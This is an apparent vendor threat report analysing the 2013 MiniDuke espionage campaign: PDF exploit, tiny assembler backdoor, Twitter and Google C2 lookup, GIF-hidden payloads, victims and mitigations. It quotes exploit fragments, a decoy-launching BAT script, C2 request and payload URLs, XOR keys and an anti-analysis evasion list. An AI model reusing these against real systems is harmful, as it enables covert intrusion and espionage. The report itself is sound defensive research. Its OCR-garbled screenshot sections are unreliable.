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On Feb 12th 2013, FireEye announced the discovery (http://blog.fireeye.com/research/2013/02/the-number-of-the-
beast.html) of an Adobe Reader 0-day exploit which is used to drop a previously unknown, advanced piece of malware. We

called this new malware “ItaDuke” because it reminded us of Duqu and because of the ancient Italian comments in the
shellcode copied from Dante Aligheri’s Divine Comedy.

Since the original announcement, we have observed several new incidents using the same exploit (CVE-2013-0640), some of
which were so unusual that we decided to analyze them in depth.

Together with our partner CrySyS Lab, we’ve performed a detailed analysis of these new incidents which indicate a new,
previously unknown threat actor. For their analysis, please read http://blog.crysys.hu/2013/02/miniduke/ . For our analysis,
please read below.

First of all, while the fake “Mandiant” PDF reports (see http://blog.seculert.com/2013/02/spear-phishing-with-mandiant-apt-

report.html?utm_source=feedburner&utm medium=feed&utm campaign=Feed%3A+SeculertResearchLab+(Seculert+Researc

h+Lab)) are just dirty hacks of the original exploit, these newer attacks appear to have been created by a 0-day toolkit that was
used to build the original “Visaform Tukey.pdf” discovered by FireEye.
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The new PDF attacks drop fake documents that are shown to the victim if the exploit is successfully executed. The documents
refer to a human rights seminar (ASEM) and Ukraine’s foreign policy and NATO membership plans:

ASLA-EUROFE MEETIFNG

The Informal Asia-Europe Meeting (ASEM)
Seminar on Human Rights

ASEM, the Asia-Europe Meeting’, is a forum that promoles various levels of coopearation
among Asian and European countries. |1 represants a procass based on dialogue with
the objective of strengthening interaction and mutual understanding betwean the btwo
regions and promoting cooperation that aims at sustainable economic and social
developrment.

ASEM is an informal process of dialoguea and cooparation among parnears on all issues
ol common interast to Asia and Europa. Summil meealings are hald every othar year in
Asia and Europe alternatively. This is the highest level of decision making in the
process, fealuring the Heads of States or Governments, the Prasident of the European
Commission, accompanying ministers and other stakeholders. So far, eight Summit
meetings hawe baan held: in Bangkok {(1996); London (1994); Secul (2000); Copenhagen
{2002); Hanoi {2004); Helsinki {2006); Beding (2008) and Brussels (2010). The next
Summit maating will ba held in Vientiamna, in 2012,

On the occasion of the first meeating of ASEM Foreign Ministers in Singapore in Fabruary
1987, Sweden and France had suggested that informal seminars on human rights be
held within tha ASEM framework. The aim of this initative was 0 promote mutual
understanding and co-operation batwean Europe and Asia in the area of political
dialague, particularly on human righls issues.

Previous saminar lopics include:

= Access o Justice; Regional and National Partcularities in the Administration of
Justice; Monitoring the Administration of Justice.
Lund, Swadan (Decamber 1997)

« Differances in Asian and European Values; Rights to Education; Rights of
Minorities.
Baiing. China (June 1999)

+ Fresdom of Expression and Right o Information; Hurmanitarian Intervention and
the Sowveraignty of Stales; Is thera a Right 1o a Haalthy Environmeant?
Paris, France (June 2000)

+ Fresdom of Conscience and Religion; Democratisation, Conflict Resolution and
Human Rights; Rights and Obligations in the Promotion of Social Walfare.
Baii, indonesia {Jwy 20071)

s Economic Relations; Rights of Multinational Companies and Foreign Direct
Invesiments.
Lund, Swaden (May 2003)

» Intermnmational Migrations; Protection of Migrants, Migration Control and
Manageament.
Suzhou, China (September 2004)

! asEM partmers include Austria, Australia, Belgium, Bruned, Bulgania, Cambodia, China, Cypires,
the Czech Republic, Denmark. Estonda, Finland. France, Gemmany, Greece. Hungary., India.
Indonesia. Ireland, Itely, Japan, Korea, Laocs, Latvia, Lithuania, Luxembowng, Malaysia, Malts,
Mongodia, Myanmar, Netheriands, Mew Fealand, Fakistan, Philippines, Poland, Porbegsl, Romania,
Fumsla, Singapore, Slovakia, Slovenis, Spain, Sweden. Thalland, United Kingdom, Vistnam, the
ASEAM Secrstariat and the Ewropesan Commission.

Document used against the Hungarian target
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Ukraine’s NATO Membership
Action Plan (MAP) Debates

PONARS Eurasia Policy Memo No. 9

Oleksandr Sushko
Center for Peace, Conversion, and Foreign Policy of Ulraine
March 2008

The Morth Atlantic Treaty Organization is expected to address Ukraine and Georgia's
requests to upgrade their relationship with the alliance at its Bucharest summit in April
2008, even if a direct response is not forthcoming. Ukraine submitted its official request
to receive a Membership Action Plan (MAP) in January, setting off a new round of
debates discussing the credibility of Ukraine’s ambitions to become a full-fledged

member of the Eurc-Atlantic community.

The debate over a Ukrainian MAP began in May 2002, when Ukraine’s Mational
Security and Defense Council (NSDC) approved a strategy later signed by President
Leonid Kuchma stipulating Ukraine's objectives to become a full MATO member. Given
substantial problems with democracy, human rights, and media freedoms within
Ukraine, this ambition (considered mostly as an element of Kuchma's multi-vector
policy) was not addressed by MATO at the time.

Following the Orange Revolution, President Viktor Yushchenko declared his desire
to move forward toward MATO membership. MATO formally invited Ukraine to enter
into an “Intensified Dialogue” (1D) at its meeting in Vilnius in April 2005. This created
a forum to discuss Ukraine’s membership aspirations and the reforms necessary
without prejudicing an eventual decision by the alliance. A meeting of the MATO-
Ukraine Commission also agreed on a series of concrete and immediate measures to
enhance cooperation supporting Ukraine's reform priorities. Ukraine has pursued its

Document used against the Belgian target
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Ukraine’s Search for a
Regional Foreign Policy

One Year After the Orange Revolution

POMARS Policy Memo No. 377

Oleksandr Sushko
Center for Peace, Conversion, and Foreign Policy of Ulraine

Decentber 2005

The Borjomi declaration of Ukraine and Georgia in August 2005, and the
first summit of the widely-announced Community for Democratic Choice
(CDC) scheduled for December 1-2, 2005, have set an ambitious agenda

for Ukraine as a potentially influential regional power.

The Ukrainian experience has revitalized hope for the further
spreading and maturing of democracy, rule of law, and other Western
values in the institutionally fragile and fragmented eastern European
margin. President Viktor Yushchenko proclaimed that Ukraine wishes to
be a regional leader after his inauguration in early 2005. However, the
content and instruments of this eventual leadership still remain unclear.
Dwes Ukraine want to follow a Bussian model of leadership by pursuing
egoistic national interests? Or is it seeking a European model of leadership
based upon common values and the responsibility of larger states before

smaller ones?

The only means for Ukraine to become a center of gravity in eastern
Europe and the Black Sea area is to become a true success story, not only
in peaceful evolution toward freedom and democracy, but in converting
those changes into consistent policies. This means strengthening the rule
of law and market economy institutions within the country and
promoting a new regional agenda that includes cooperation in

&5

Document used against the Luxemburg target

The MD5s for the documents used in this attack are:

3668b018b4bb080d1875aee346e3650a
88292d7181514fda5390292d73da28d4
3f301758aa3d5d123a9ddbad1890853b
0cdf55626e56ffbflb198beb4f6ed559
cf5a5239ada9bh43592757c0d7bf66169
c03bcb0cde62b3f45b4d772ab635e2b0

action_plan.pdf (Country: Belgium)

ASEM_seminar.pdf (Country: Hungary)

EUAG_report.pdf (Country: Luxembourg)

report.pdf (Country: Spain)

EUAG_report.pdf (Country: Belgium)

The 2013 Armenian Economic Association.pdf (Country: Belgium)

The JavaScript exploit code has been modified since the original attack. For instance, the function named “oTHERWISE” was

renamed to “glw2e3r4t”. The function is later called in the code like this:

New exploit:

var sCIENZA = q1w2e3r4t(vOLENCI[sHOGG('ODNEDNERp',3329,7937)], gIRARSI);

Older (“Visaform Turkey.pdf”) exploit:
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var sCIENZA = oTHERWISE (VOLENCI['pRENDENDQ'], gIRARSI);

In addition, the JS code is now in compressed format, while the original sample had it in plaintext. The reason behind the
changes is probably to avoid detection by anti-malware products although this doesn’t prevent our product from detecting it
heuristically as “HEUR:Exploit.Script.Generic”.

The shellcode contained in the PDF document is similar to that used in the documents carrying the “Itaduke” payload, with
some differences. For instance, after exploiting the vulnerability, it searches for a specific signature within the PDF file. While
the “Itaduke” shellcode was looking for “IH2bYm.Sw@”, the MiniDuke version uses a different signature, “@34fZ7E[p\”.

Ao omTE D gL a

Foia Sla.g..lz. @,

Signature in the Miniduke PDF file

Once the payload signature is found, it is decrypted with XOR and then decompressed using RtiIDecompressBuffer APl (LZNT1).
The resulting PE file is written to a temporary file and loaded using LoadLibary API.

The resulting dynamic library implements the second stage of installation. It contains two binary resources, 101 and 102.
Resource 101 is the main backdoor DLL component. It is written to the %AppData% directory and loaded using LoadLibary API.
Resource 102 is the decoy PDF document. It is written to the Internet cache directory and then opened using a simple BAT file:

TASKKILL /F /IM acro*
ping -n 1 127.0.0.1>nul

start "" "%path to decoy PDF document%"

The filenames of the dropped files are hardcoded in their resources.

Beginning of the resource 102 with its filename

Interestingly, the malware dropper contains the following paths:

® “c:\src\dlldropper\Release\L2P.pdb".
® “C:\src\hellodll\Release\hellodIl.pdb”.
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These paths did not exist in the dropper of original PDF (“Visaform Turkey.pdf”).

If we are to trust the PE headers, the dropper was compiled on Feb 20, 2013:

Count of sections 5 | Machine intel386
Symbol table ©0000000[00000000] Wed Feb 20 10:51:16 2013
Size of optional header BPE® | Magic optional header 0108
Linker version 10.88 | 0S version 5.01
Image version .88 | Subsystem version 5.81
Entry point PEER19CY | Size of code PORE9200
Size of init data POe54A00 | Size of uninit data 5[5 1515151505 ]5]
Size of image PeR63000 | Size of header peReaARe
Base of code PeeR1008 | Base of data PeRRBRRG
Image base 10000000 | Subsystem Windows GUI
Section alignment peeR1a08 | File alignment pERBAB200
Stack Pe100000 /00001000 Heap Pe100000/00001000
Checksum PeR637F7 | Number of directories 16

‘Hungarian’ dropper compilation time - “Feb 20 10:51:16 2013”

The backdoor used in the Hungarian case was compiled on “Feb 20 10:57:52 2013”, just minutes after the dropper was
created.

Perhaps the most unusual thing about these three new attacks is the malware they drop. In all the analyzed cases, the
dropped malware is in the form of a 22,528 bytes DLL file. Parts of the malicious DLL file are encrypted with information
related to the system configuration, which ensures it will only work properly on the victim’s system. If copied to another
computer, the malware will be unable to function successfully.

The backdoor is written in “old school” assembler and is tiny by current standards - only 20 KB. This is most unusual for
modern malware, which can be several megabytes in size. It has a small decryptor at the beginning that decrypts the main
body. All three cases use different encryption keys. Another peculiarity is that the backdoor has no imports: all functions are
scanned from memory and are called dynamically. It is also interesting that the first two Win32 APIs resolved and called by the
unpacking stub are ntdll.LdrLoadDll and kernel32.VirtualProtectEx. These two functions are not called according to the
“_stdcall” convention. Instead, a ‘jmp ebx’ instruction is executed after manually building the stack. Clearly some thought went
into creating anti-emulation and anti-scanning techniques with this malware.

Backdoor analysis

The backdoor has a single export, which for instance is named “JorNgoq” in the Hungarian case. When this export is called at
load, the backdoor sets the “.rdata” section’s permissions to “RWX” and sets the mutex to a hardcoded string “nljhfdb”.

The entrypoint of the library (DlIMain) is obfuscated and the main body of the malware is encrypted. The encryption is rather
simple: the “.rdata” section of the library is ROL’ed with a linear key and XOR’ed with a fixed key. Both keys are derived from
the length of the encrypted part.
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ecx, 4522h

edx, edx

edx, ecx

5+5

eax, Eeax

eax, [esi]

al, cl

eax, edx

esp, -4
[esp+7Ch+var_7C], eex
ecx, B

ecx, 40h

ebx, ecx

short loc_3D90257E

loc_3D50257E: ; CODE X
edi, edi
esi, DFFFFFFFFh
esp, 4
ecx, [esp+7Bh+var_7C]

ecx, O
short loc_309025593

Decryption loop in the obfuscated code.

0x4522 is the actual size of the encrypted part

|ll

Once finished decrypting, the library proceeds to the real “main” function. The main part of the library is written in Assembler,

|"

in an “old-school” manner typical for low-level viruses. The code is position independent; it has no imports and resolves API

function addresses by hash values of their names.

; ExitProcess
ecx, OBCS3DAC3h
edx, [ebp+ctx. hKernel32]
Cet API
€]
eax
; user32dll
near ptr WaitDesktop ExitProcess

GetEnvironmentVariableA
ecx, 15437B6Sh
edx, [ebp+@]
Get API

ebx, [ebp+ctx.uri_decoded URL]
ebx
loc SF2

Typical low-level malware programming style:
passing strings as parameters via call, addressing API functions by hash values

The backdoor maintains seven call addresses that each maintain their own block of functionality.

The first block calls GetAsyncKeyState twice, checking for a mouse click, which indicates user activity in the system. The second
block searches for all “*.exe” and “*.dll” files located in the %temp% directory. The third block fetches information about the
infected system with calls to gather information about the CPU, drive and the computername - these are used to decrypt the
backdoor’s main body, which is custom encrypted for each unique victim.
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The fourth block attempts to maintain self-protection from malware analysis. Below is the list of tools (and VMware) that it
attempts to identify and protect against. It fetches the list of running processes on the system and attempts to identify if these
tools are among them:

apispy32.exe, apimonitor.exe, winapioverride32.exe, procmon.exe, filemon.exe, regmon.exe, winspy.exe, wireshark.exe,
dumpcap.exe, tcpdump.exe, tcpview.exe, windump.exe, netsniffer.exe, iris.exe, comview.exe, ollydbg.exe, windbg.exe,
odb.exe, ImmunityDebugger.exe, syser.exe, idag.exe, idag64.exe, petools.exe, vboxtray.exe, vboxservice.exe, procexp.exe,
vmtools.exe, vmwaretray.exe, vmwareuser.exe

If any of the tools above are detected on the system, the malware will continue running on the system without further
decrypting its code and exhibiting any other functionality. This will prevent it from doing any outbound communications with
Twitter accounts, as described below. In other words, it will attempt to appear non-functional, especially to automated
analysis, hiding its true nature behind its layers of encryption.

User agent strings for web browsers like Opera, Mozilla and Internet Explorer are decrypted and used for all Internet access.
Oddly, there are Linux versions included as well:

(Windows NT 5.1; (Windows NT 6.0; (Windows; U; Windows NT 5.2; (X11; Linux i686; (X11; Linux x86_64; (compatible; MSIE
6.0; Windows NT 5.0; (compatible; MSIE 7.0; Windows NT 6.0; (compatible; MSIE 9.0; Windows NT 6.1;WOW®64) ;Trident/4.0) ;
Trident/5.0) ; WOW64; Trident/5.0) ; SV1))

The fifth and sixth code blocks are most interesting. They calculate the SHA1 of main system information which will be used in
the C2 interaction later.

Following the SHA-1 hash generation, the backdoor will base64 encode its unique hash for later C2 communication.

The malware is activated upon reboot of the infected machine. To gain control at boot, it writes a randomly named LNK file to
the startup folder, which in turn calls the main body using rundll32:
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& Startup -0 x|

File Edit Yiew Faworites Toals  Help -.'f
@ Back = | | - LE ./“ ) Search i Folders -
Address I CiiDocuments and SettingsiAll Users)Start Menu'|Programs' Starkup j Ga
= deskt
. — | eskbop
File and Folder Tasks & o Configuration Settings
1KE
J Make a new Folder
@ Publish this folder ko the ProneActivake
Web Shorkeut

k! Share this Folder 1KE

»

Other Places

Frograms

|D My Docurnents
|- Shared Documents
._,& My Compuker

&) My Network Places

=

General Shorteut | I:::umpatil:uilit_l,ll

| Provdictivate

T arget type: Application

T arget location: system3?

T arget; I.-'-‘-.LLLI SE~TWAPPLIC™ T WAdobe'stat. bin ImgFgno

Stark in: ||

Shortcut kew: IN:::ne

Ru: I Mormal window j

Commemt: I

Find T arget... | Change [con... Advanced... |

k. I Cancel Apply
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In the picture above, the malware’s main body is stored as “stat.bin” (a randomly selected name) in the “Adobe” folder. The
LNK file calls it only exported function, “ImgRgno”.

Once activated, the malware will first contact Twitter and look for posts from some very specific accounts. These accounts
should have posted an encrypted string which contains the magic identifier “uri!”, then an encrypted c2 string.

Lorinda Ray A~ W Follow
LorindaRay

The weather is good today. Sunny!
uri'wpo7VkkxYt3MnesuiDkz411/Iw48Ge
[EWg==

4 Reply ¥ Retweet W Favorite eee [ore

LorindaRay
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Edith Albert 4~ W Follow

EdithAlbert

Albert, my cousin. He is working hard.

uri'wpo7VKkkxYmfNkwN2nBmx4ch/Tu2c+G
Jow3gHbphL

4 Reply TF Retweet W Favorite eee More

LU0 - = a, LU ]

EdithAlbert11

n Howard Fontenot L~ W Follow
FontenotHoward

My native town was ruined by tornado.
uri!'wpo7VkkxYt3Md/JOnLhzRL2FJjY8lalt

4 Reply T¥ Retweet W Favorite eee More

L2 U L - el 4, LU LS

FontenotHoward

We presume many other Twitter accounts exist with similar parameters.

The encrypted “uri!” holds a different c2 for each version of the malware:

Attack location Command & control C2IP / location
server

path on C2
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Hungary arabooks[dot]ch 194.38.160.153 / /lib/index.php
Switzerland
Luxemburg artas[dot]org 95.128.72.24 / France /engine/index.php
Belgium tsoftonline[dot]com 72.34.47.186 / United /views/index.php
States
(Multiple) www[dot]eamtm[dot]co | 188.40.99.143 / Germany /piwik/web/index.php
m

It’s most likely that these websites have been hacked by the attackers and injected with the command and control PHP script.

Secondly, the malware will connect to “www.geoiptool.com” to obtain information about the victim’s location.

Interestingly, the backdoor has another update/c2 functionality. It searches Google for a very specific string:

Fal hu_report_1.pcap [Wireshark 1.8.5 (SVN Rev 47350 from [ftrunk-1.8)]

=10l x|

File Edit View Go Capture Analyze Statistics Telephony Tools Intermals  Help
E BEXZE AT L BB QQ@ 0| W& ~
FiIter:I j Expression... Clear Apply Save

|Desﬁnaﬁnn
T oo o

|Protocol _|Length |Info
o o

]

o

199.59.148. 82
199.59.148. 82
199.59.148. 82
199.59.148. 82
192.168.8.10
192.168.8.10
192.168.8.10
192.168.8.10
199.59.148. 82
8.8.8.8
192.168.8.10
173.194.34.243
192.168.8.10
173. . 34,243

.8.10
199.59.148. 82
192.168.8.10
192.168.8.10
173.194, 34,243
192.168.8.10

TCP
TCP
TCP

55Lv3

TCP
TCP
TCP

55Lv3

TCP
DNS
DNS
TCP
TCP

TCP
TCP
TCP
TCP
TCP

1474
1474

1474

1474

M T T TOTT DC LT

60 netarx > https [ACK]
60 netarx > https [ACK]
60 netarx > https [ACK]

581 application Data

54 https > netarx [ACK]

Seq=635 Ack=19263 win=65535 Len=0
Seq=635 Ack=20803 win=565535 Len=0
Seq=635 Ack=23643 Win=65535 Len=0

Seq=24355 Ack=1162 wWin=65535 Len=0 —
[TCP segment of a reassembled PDU]
[TCP segment of a reassembled PDU]
371 application Data
60 netarx > https [ACK] Seg=1162 Ack=27195 Win=65535 Len=0

74 standard gquery 0xa300 A www.google.com

60 netarx > https [ACK] Seg=1162 Ack=27512 wWin=65218 Len=0
[TcP segment of a reassembled PDU]
[TCP segment of a reassembled PDU]
60 danf-ak2 = http [ACK] Seq=381 Ack=2841 win=65535 Len=0

Standard query response 0xa300 A 173.194.34.243 A 173.194
62 danf-ak2 > http [5YN] Seg=0 Win=65535 Len=0 M55=1460 SACK_
=0 Ack=1 Win=65535 Len=0 M55

[TcP segment of a reassemb'led FDU]

The string “IUFEfiHKIJfLKWPR” which the malware seeks on Google

The pages found by the Google search may hold an update “uri” similar to the one from Twitter. We can assume the attackers

wanted to have a second channel for updates in case the Twitter accounts are closed.
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http://www.geoiptool.com/

Stage 2

The “index.php” on the C2 serves a fake GIF file to the victim, depending on the parameters it receives. Here’s what one of
these GIF files looks like:

Here’s one example of a malicious request for the C2 domain “arabooks[dot]ch”:

arabooks.ch/lib/index.php?ia=TJ2b7uzMuh4fnt2n7alisckAj6pEvkLPPsmk5gC77rPeYKmj8z58UWS1szYOFGzkp[REMOVED]IhUDx
vzol_|pYHfDI2ZMTg2NTM50TF8MS4xMw==

The picture from the GIF file is actually very small and reminds us of the method used by Duqu back in 2011 to hide data,
known as ‘steganography’:

. i »
'Y img.gif - IrfanView - 10| x|
File Edit Image Options Yiew Help

EEEREX . BEY

32x32x8BPP |1/1 |100% |23.92KB/2.0- 4

At offset Ox6a4 inside the GIF file, there is a hidden encrypted PE file. The encryption scheme used a DWORD key also stored in
the GIF file that is rotated. Effectively, this translates to an 8 byte long XOR key. The resulting encryption key used in the
Hungarian attack for instance is {OxD2, 0x2A, 0xA2, 0x27, 0x79, 0x95, 0x52, 0x2D}. In the Belgian attack, it is {OxC5, Ox5E, OXEE,
OxE5, 0x51, 0x11, 0x17, 0x7C}. For the Luxemburg attack, the key is {0x91, 0x18, 0x8C, 0xC1, 0x1C, 0xC9, 0x9C, 0xC9}.

PAGE 13| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor | KAﬁPE Rs KY=:



N B I e
s

B

c
2

re run in

Decrypted payload from the fake GIF file served by the C2

The decrypted PE file (plugin / payload) is also written in assembler and, once again, it is encrypted with the same algorithm as
the backdoor originally deployed in the system. We refer to it as “stage 2”. The main backdoor body saves the plugin with
different names, for instance, it can be “xml.dat” and tries to run its only export using rundll. In our case, this didn’t appear to

work very well:

Uolume in drive C has no label.
Uolume Serial Number is 94B3-68F@

Directory of C:\Documents and Settings“\All Users\Application Data
02,22,2013 @1:32 AM <DIR> Adohe

Filed(s> B bytes
1 Dird(s> 8.0802,.412,.544 hytes free

gn

C:\Documents and Settings\All Users\Application Data>dir /a
Uolume in drive C has no label.
Uolume Serial Number is 94B3-68F@

W

| Directory of C:\Documents and Settings\All Users\Application Data
]
02,22/2013 : <DIR>
M02/22/2013 s <DIR> ava
B2,22,2813 : <DIR> Adohe
01,09 /28009 : M 62 desktop.ini
=402 ,/22,2813 C <DIR> Microsoft

: 22,528 xml.dat
2 File(s> 22,598 bytes
4 Dird(s> 8.802,412.544 hytes free

\

C:\Documents and Settings\All Users\Application Data>

—

RUNDLL y

@ An exception occurred while trying to run "C:ADOCUME~11ALLUSE~11APPLIC~1\xml.dat,FonQckg *

@start| & (& - “RUNDLL . = WY ssam
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Several different variants of the 2nd stage backdoors have been observed on the C2; they all perform similar functions but are

encrypted with different keys and contact different C2s.

Command & control server information

The malware connects to several C2s depending on the information available on the control Twitter accounts or on Google.

For instance, on “artas[dot]org” it connects to “/engine/index.php”. Interestingly, the “img” subfolder allows listings and we

can see several variants of the backdoor encrypted as GIF files:

Index of /engine/img

Hame Last modified Size Description
Parent Directory -
Eh bg afvd.gif 20-Fekb-2013 21:1& 24K
EL bg dafd.gif 20-Feb-2013 21:16 24K
EL bg dasfs.gif 20-Feb-2013 21:17 24K
EL bg dsaf.gif 20-Feb-2013 21:17 24K
bg dsaffe.gif 21-Fekb-2013 09:18 24K
EL bg edf.gif 21-Feb-2013 05:1% 24K
EL bg efd.gif 21-Feb-2013 09:1% 24K
EL bg efdse.gif 21-Fekb-2013 09:1%9 24K
Eh bg fked.gif 21-Fekb-2013 09:15 24K
EL bg fwds.gif 21-Feb-2013 05:1% 24K
EL bg lkjkef.gif 21-Feb-2013 09:20 24K
EL bg sdef.gif 21-Fekb-2013 09:20 24K
Eh bg sdefk.gif 21-Fekb-2013 09:20 24K
E bg sfef.gif 21-Feb-2013 05:20 24K

Apache Server at artas.orvg Port 80
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On “tsoftonline[dot]com”, the folder has the same structure:

Index of /views/img

Parent Directo
1109821546.a:1f
2627081433 . mf
3198217296 mf
3946889701 . mf
3979106736 mf

bg dfdsh gif
e bg dfell gif
® bg dfesik gif
® bg dfew gif
® bg dfews gif
e bg dflj gif

* bg dfwe gif
® bg dsef gif
* bg dwed gif
® bg edf gif
® bg edfsagf
® bz edse gif
* bg ekks gmif
® bg esd mf
e bg fdfe gif
® bg fed gif

® bg lfe gif

® bg oefgif

® bg gqdfgif
® bg groemf
® bg sasd gif
® bg wdf gif

Apache Server at tsoftonline.com Port 80

Interestingly, on “tsoftonline[dot]com” we have several other files with different kind of names and sizes. They are larger and

follow a different naming scheme: “[number].gif”. We believe they are custom backdoors delivered only to specific victims by

the attackers. We refer to these as “stage 3”.
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Stage 3

While we were analyzing the samples, the attackers connected to the C2 and added a custom backdoor as “1109821546.gif":

"http://tsoftonline.com/views/img/1109821546.gif"
HTTP/1.1 200 OK

Date: Mon, 25 Feb 2013 12:34:13 GMT

Server: Apache

Last-Modified: Mon, 25 Feb 2013 10:59:49 GMT
ETag: "7c8251-5190d-4d68a708d9340"
Accept-Ranges: bytes

Content-Length: 334093

Content-Type: image/gif

This custom backdoor, referred to as “stage 3”, is much bigger than the previous ones — 300K+ in size. This is because the
attackers used large layers of obfuscation code, including UCL compression. So far, we have observed two variants of the 300K
“stage 3” backdoor. The PE compilation timestamp for both is “Mon Jun 18 17:28:11 2012”. The number “1109821546” in the
filename refers to the unique victim ID. In this case, we were able to determine that the victim is based in Portugal.

The backdoor connects to the following C2 for instructions:

news[dot]grouptumbler[dot]com/news/feed.php
IP: 200.63.46.23

It supports several commands, such as copy file, move file, remove file, make directory, kill process and of course, download
and execute new malware.

The server at 200.63.46.23 is hosted in Panama:

IP Information for 200.63.46.23

IP Location: % Panama Panama Panamaserver.com

ASN: AS522384

IP Address: Z200.63.46.23 |E| |E| @

inetnum: 200.63.40/21

status: allocated

aut-num: N4

OWINEL: Panamaserver.Ccom
ownerid: PR-TANAZ-LACHIC
responsible: Ch Group Corp.
address: Bella Vista, El1 cangrejoc, Calle 49, 0,
address: 00000 - Panama -
COUntry: FR

phone: +507 2863 3723 []
OWner-c: MRC30

tech-c: MAEC30

abuse-c: MARC30

inetrev: 200.63.46/24
n3erver: NS1.PRNAMRSERVER . COM
nastat: 20130224 ER
nslastaa: 20130224

created: 20080328

changed: 20080328
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We presume that it was hacked by the attackers and is currently used as a command server for the attacks.

MD5 hashes for the known “Stage 3” backdoors:

1lelb0d16a16cf5c7f3a7c053ce78f515 vl.ex_
53db085a276ebbf5798ba756cac833ea v2.ex_

In addition to the ~300K “stage 3” backdoors, we’ve observed a 13K module (MD5:
6bc34809e44c40b61dd29e0a387ee682).This module will connect to an IP in Turkey, get the response, decrypt it in memory

and execute it. The C2 is:

85.95.236.114

IP Information for 85.95.236.114

IP Location: uTurlcE',r Izmir Inetmar Internet Hizmetlen San. Tic. Ltd. St

ASN: AS49467

Resolve Host: ip236.114.networkde.com

inetnums:
netname:

descr:

remarks:
remarks:
remarks:
remarksa:
remarks:
remarks:
remarks:
remarksa:
country:

IP Address: 85.95.236.114 [r] [F] [o]

£5.95.236.0 - 85.95.236.255

INETMRAR

inetmar internet Hizmetleri -izmir

e S s R R ]
#%% ILhnse Reports to: gbuselinetmar.com ***
#%% This IP klock is used for web hosting, #*#
**% dedicated and co-located servers. In  **%
*** c@ze of spam, please only deal with ***
*** pgriginator IP only. A
#%% DO NOT DEAL WITH THE WHOLE IP BLOCK ko
RS E RS S S E R LSRR RS

IR

The module has a compilation timestamp of “Tue Nov 13 14:30:12 2012”.

Map of victims

The C2s maintain a detailed, encoded log of the victims connecting to the servers. The logs are available to anyone who knows

the exact filename. By collecting the logs from all the known command servers, we’ve discovered connections from several

high profile networks belonging to:

Country Network

Ukraine Government, Private company
Belgium Possible Embassy / Government
Portugal Government

Romania Government
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Czech Republic Government

Ireland Government
United States Think tank(s), Research institute, Healthcare provider
Hungary Social foundation

By analyzing the logs from the command servers, we have observed 59 unique victims in 23 countries:

Belgium, Brazil, Bulgaria, Czech Republic, Georgia, Germany, Hungary, Ireland, Israel, Japan, Latvia, Lebanon, Lithuania,
Montenegro, Portugal, Romania, Russian Federation, Slovenia, Spain, Turkey, Ukraine, United Kingdom and United States.
The amount of high profile victims in this attack is notable and puts it on the same level with other advanced campaigns such
as “Red October”.

Mitigation and recommendations
To protect against these attacks, we recommend that you:
Update Java to the latest version or simply remove it from the system if not used

Update Microsoft Windows and Office to the latest versions
Update Adobe Reader to the latest version (see https://www.adobe.com/support/security/bulletins/apsb13-07.html)

Block traffic to the following domains:
O arabooks.ch
O artas.org
O tsoftonline.com

O www.eamtm.com

O news.grouptumbler.com
® Block traffic to the following IPs:
O 200.63.46.23
194.38.160.153
95.128.72.24
72.34.47.186
188.40.99.143
O 85.95.236.114
® Install a security solution capable of detecting these threats such as Kaspersky Internet Security 2013 and scan all

O O O O

emails and received documents
® Be wary of opening suspicious documents on your systems; instead, use another computer without an Internet
connection, a VM, or upload the document to Google Docs for viewing

In addition, infected PDFs contain the following string, which can be used as a quick way to find them: “@34fZ7E[p\”

Conclusions

Based on our experience, this is a unique and very strange attack. The many different targets hit in separate countries,
together with the high profile appearance of the decoy documents and the weird backdoor functionality indicate an unusual
threat actor. Some of the elements remind us of both Duqu and Red October, such as the minimalistic approach, hacked
servers, encrypted channels but also the typology of the victims.
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The backdoor coding style reminds us of a malware writing group which is believed to be extinct: 29A. The value 29A in hex
means 666, and perhaps not unsurprisingly, was also left by the attackers as a clue in the code:

add esp,
retn

, START OF FUNCTIOM CHUNK FOR DecryptURLWithSHAL
cGet12Bbytes: . CODE XREF: DecryptURLWithSHALl+5T]

call Get12Bbytes
. END OF FUNCTION CHUNK FOR DecryptURLWithSHAL

dd BEB342220h
dd OCFE7AE7Bh

The 29A / 666 clue left in the code by the attackers

29A published their first malware magazine in December 1996 and were active until February 2008, when “Virusbuster’, the
last standing man announced the group’s dismissal.

The logs from the Command & Control servers indicate determination and quite a bit of success in compromising several high
profile entities in various countries. The stage 3 compilation timestamps indicate the attacker has been active for quite a
while but still managing to remain undetected.

Perhaps one of the most important questions is: are these attacks related to the “Itaduke” attack that prompted the discovery
of the PDF 0-day? Or is it a separate entity that purchased the attack kit from the same source, which has a different agenda?
Or, is it perhaps another threat actor which captured the 0-day exploit and modified it for other purposes? Unfortunately,

there are still many unanswered questions.

Note: We detect the malware described here as HEUR:Backdoor.Win32.MiniDuke.gen, Backdoor.Win32.Miniduke while the
documents with exploits are detected as Exploit.JS.Pdfka.giy.

References:

® “InTurnit’s PDF Time”
http://blog.fireeye.com/research/2013/02/in-turn-its-pdf-time.html
® “Duqu: Steal everything”

http://www.kaspersky.com/about/press/duqu
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